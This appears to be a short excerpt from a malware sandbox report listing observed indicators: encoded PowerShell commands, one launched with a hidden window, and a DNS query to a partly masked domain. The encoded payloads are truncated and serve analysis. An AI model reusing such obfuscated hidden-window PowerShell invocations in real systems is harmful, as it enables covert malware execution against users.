Technical Information
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -enco PAAjACAAaAB0AHQAcABzADoALwAvAHcAdwB3AC4AbQBpAGMAcgBvAHMAbwBmAHQALgBjAG8AbQAvACAAIwA+ACAAJABjADAANgA5ADAAYgB4ADgAMAAyADYAPQAnAGIAMAAwADEAMAA5ADAAMgA3ADUAMAAnADsAJABjADAAMgAwAHgAMgAwAGIANwA...
- DNS ASK mu###etibs.com
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -enco PAAjACAAaAB0AHQAcABzADoALwAvAHcAdwB3AC4AbQBpAGMAcgBvAHMAbwBmAHQALgBjAG8AbQAvACAAIwA+ACAAJABjADAANgA5ADAAYgB4ADgAMAAyADYAPQAnAGIAMAAwADEAMAA5ADAAMgA3ADUAMAAnADsAJABjADAAMgAwAHgAMgAwAGIANwA...' (with hidden window)